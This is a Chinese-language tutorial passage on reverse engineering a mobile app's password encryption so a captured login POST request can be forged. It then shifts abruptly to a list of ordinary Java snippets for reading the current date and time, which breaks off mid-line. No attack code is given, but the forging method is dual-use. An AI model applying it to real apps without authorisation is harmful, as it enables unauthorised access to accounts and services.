说白了,我们刚才点击的操作,是像服务器发送了个POST请求,然后这里面的信息,我们就不能随意伪造了
比如上面两个,我们不知道是什么,下面有password,我们输入的密码也不是这样的,说明加密了。其中username是知道的,是手机号,timestamp是时间戳
这时候我们就发现了一个问题,当我们抓到的数据包里面,有一些数据没法伪造的时候,这时候就需要逆向了。
逆向是什么呢,就是从app里面,去把它生成 加密值 的算法给它逆向出来,给它还原出来,就是说 password 是怎么样从我输入的 a12345678 变成 c5371…92df 的 给它找出来,这时候我们把算法还原出来了,就可以给算法传递这么个值,让它计算得到这么个结果,再提交给服务器,那是不是就可以伪造这个数据包了,就可以完成我们的登录了。
1、获取当前时间。 1、通过Date类来获取当前时间。 //format = 2022-11-10 23:47:49 Date date = new Date(); SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String format = dateFormat.format(date); System.out.println("format = " + format); 2、通过System类中的currentTimeMillis方法来获取当前时间。 //format1 = 2022-11-10 23:47:49 SimpleDateFormat dateFormat1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String format1 = dateFormat1.format(System.currentTimeMillis()); System.out.println("format1 = " + format1); 3、通过Date类来获取当前日期。 //2022年十一月10日 Date date1 = new Date(); System.out.println(String.format("%tY", date1) + "年" + String.format("%tB", date1) + String.format("%te", date1) + "日"); 4、通过Calendar类来获取当前时间。 //2022/10/10 23:47:49 Calendar instance = Calendar.